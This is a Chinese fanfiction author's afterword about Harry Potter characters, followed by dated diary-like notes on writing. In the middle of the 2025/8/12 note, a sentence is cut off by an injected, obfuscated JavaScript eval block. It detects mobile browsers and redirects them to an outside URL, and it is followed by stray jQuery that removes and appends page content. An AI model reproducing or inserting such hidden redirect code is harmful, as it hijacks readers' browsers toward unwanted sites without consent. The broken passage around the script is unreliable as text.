Note 1：我知道写故事唯一需要做的只是呈现，而解读是万万不能的。但这篇后记会不可避免地涉及到人物理解。如果有理解差异的，以你的想象为准。
Note 2：正文忘记说了，赶紧在后记说一下：本文应该是有If线和番外的
-
《琉璃瓦》开篇时，姚先生这样形容他的女儿：“我们的瓦，是美丽的瓦，不能跟寻常的瓦一概而论。我们的是琉璃瓦。”
万事开头难。决定写下这篇后记后，几乎一直在想该从哪里写起。其实原本可以cue《三姊妹》的，但最终还是决定从这句“弄璋弄瓦”的荒唐话开始。
我写同人的逻辑可能是：挽救一个角色等于谋杀一个角色。让其幸福等于让其平庸。一旦出于救赎的心态去对待一个角色，那就只是在不断磨损其弧光。因此借用@鱼杪太太的话，“那些带有折磨意味的，濒临崩溃的片段”总是贯穿始终（因此我从不看自己写的故事，甚至可以说，如果这些不是我写的故事，我根本不会记得）。
因此，这篇同人也许更多是一种现状的折射：无关痛苦，无关爱，只是不断寻找一种自由和选择的权利。没有人在这个故事里需要被拯救，每个人都行走在正确的道路上。只是希望与绝望，不过进退之间；而曾认定的正确，也总是昨是今非。
关于我曾写过的三位女巫。曾经，我也问过她们，如果不是斯莱特林，那么会是哪个学院？凯瑟琳在恋爱上那旁若无人的勇气，也许不会被格兰芬多拒绝；如果给凯蒂一个选择，她也许会进入赫奇帕奇，继续她不需要被任何人知晓的凝视；而凯西会因为她毫不掩饰小聪明，骗过分院帽，进入拉文克劳。
但最终她们还是进入了斯莱特林。
她们的一生做过许多选择，站在上帝视角看，有些微不足道，而有些则意义重大，以至于拯救了他人，结束了战争。但回到最初，她们做出那个决定时，唯一摆上天平的，只有自己的利益。
没有拯救欲，没有奉献精神，没有对爱与和平的希冀，只是想让自己的生活好过一点。
所以，除了斯莱特林，还有什么更适合她们的去处吗？
写凯西和小巴蒂的故事时，无数次想起Better Call Saul里的小金和吉米。我钟爱这种末路狂花式的爱情——从此刻起，再也不要回头；从此刻起，一错再错，绝不修正轨道。凯西像小金一样，最终选择了离开，不是因为不爱了，而是因为这份爱无益于她了。像三岛由纪夫在《金阁寺》和《萨德侯爵夫人》里的观点，我对你——这个被我深爱着的你——的爱自始至终从未改变，而你，这个借给我的爱一副躯壳与几处锚点的人，可以成为任何模样，对此我毫不在乎。甚至可以说，如果你的再次出现，污染了我的爱，那么很抱歉，我不得不再一次抹去你，烧毁你。
但也会遗憾于是个本质不温柔的人，所以会在文里不由自主暴露这种残忍。说不出什么暖心的话，给不了治愈的故事，只有愤慨与憎恨。而写出的作品也无一例外端坐于卑下的立意之上。从意识到这点起，就开始痛恨自己成为了那种并不能唤起爱的写手。就像那句“爱是最伟大的魔法”，我从来都没真的明白过这句话。
总而言之，十分感谢任何能读到这里的人，这个人真的废话太多。不会说什么虚假动听的话，也无法违心地祝我们幸福。幸福是很难的，难到几乎想不起来那种感受。于是不得不退而求其次，以至于今年年初在wb写下：让我的生活回归寻常吧……直到寻常将我们淹没，直到我们的生命里只剩下寻常。
——下面是关于《野花野火》有过的碎碎念合集（完全没改动，直接从wb复制的）——
2023/4/26
用最大力气，把一个在劝分组会刷屏的故事，包装成一杯甜腻掺血的鸡尾酒。希望下一个故事，能写一些正能量，比如恋爱会让人变好，而不是找到同伴一起发疯。
2023/7/31
我常在邪典小说里找灵感，再揉进只表达“爱与被爱”的同人文里。这让它像弗兰肯斯坦，或温子仁的《死寂》里那个只有正面没有背面的人偶。
2023/10/18
今天删了新文预收，前几天一直检讨自己，居然把最关键的时间分配在搞同人上。才华是种难以兜售的商品，在这利益驱动的市场经济下，它稀缺，只是因为一文不值。但还是好放不下。过去写文的回忆，像麻雀在路边的积水上扑打翅膀，溅起的似水流光，粼粼一闪，就飞走了。
2024/10/10
不懂得节制比喻，像上一辈人因为经历过饥荒而患上高血糖。逻辑不断为修辞让步，最终把日子活成了华美的一派胡言。
2024/10/13
心情是很想迎来一段完全的长假搞同人
2025/4/2
曾经写同人像打扮芭比娃娃，有一缕一缕编头发的耐心。现在大概是套了件oversize就出门，梳头发只是嫌热。
2025/8/12
后来再看到他的同人，我会掉下眼泪。
会想到，我也写过他，爱过他（那时候仍言爱为爱），确信过感情质地绵密，又试图去质疑其历久弥新。
后来这些或尖锐、或茫然的刺，都像春光里悬满屋檐的冰锥，滴滴答答地消失了，只留下雨的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485956|202006||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声形。
2025/9/15
同人的精髓也许是：“当我们【没在】谈论爱情时，我们在谈论什么？”
2025/9/25
写毕业论文和写同人，就像同时在养家里的孩子和外面的私生子——家里那个看着就烦，但又不得不看；外面那个不常见，但老惦念。
2026/2/15
其实我搞同人从没搞出过什么名堂，既没天赋也没汗水，说不羡慕那些逢人必推，入圈必看的作品和太太是假的，自己却也经历过太多那样神魂颠倒的阅读体验——一个人的注意力、情绪、感官与灵魂被遥远的某处一个不可触摸的神抓住了，攥在手心，逃不出去。
都说青春期是绳结记事，我记得废寝忘食读完的每一篇长文，记得作者在作话说了什么，记得读到某一章时天光如何，日影如何，记得被打岔的瞬间，记得夜里喘不过气的经历，记得周日返校交手机前最后定格的那一章结尾，然后整整一周都在想象后续。
我从没试图抗拒过那些故事对我的影响，就好像这个坚如磐石的现实世界和我毫无关系一样。事实也是如此。这个世界对我而言就像一部露天电影，自顾自地播放。我听见楼下的人说话，拿饭时看见大学生们聚餐，在地铁上观赏一家几口人吵架。考试就像心脏起搏器，偶尔让我喘过气来，然后又沉入死水似的城市。
2026/3/5
曾在备忘录里写下：“凯西是不完整的凯瑟琳。”
过了一年，这句话被改成：“凯西不是凯瑟琳。凯西和凯瑟琳毫无关系。”
现在，这句话成了这副模样：“凯西是更完整的凯瑟琳。”
2026/3/26
有时写着写着，发现写不下去了。我不擅长写这样的情节，但生活总有这样的情节，也不会因为我不擅长而不逼着我写下去。于是我梦游似的写，期待能熬过去，而不是淹死在梦里。
2026/3/29
为什么能写完这个故事？因为这个故事压制住了我，这个故事逼我写完它。在许多个夜晚，我都强烈地感到，如果我没办法写完这个故事，那么此后一生，我打开电脑，都能看见这个文档躲在文件里，像一瓶毒药搁在橱柜里，引诱你去服下。我没办法不写完这个故事，就像没办法不活下去。
2026/4/4
生育是令人畏惧的，因为从你子宫里掉出来的很可能不是你的宝贝——但写文不是。它就是你的宝贝，是你的骨骼，是你的克隆。你期待它的降临，并不掺杂任何对残疾与夭亡的恐惧，并不认为它能伤害你。只有期待而已。
对这篇文我的感受是这样的。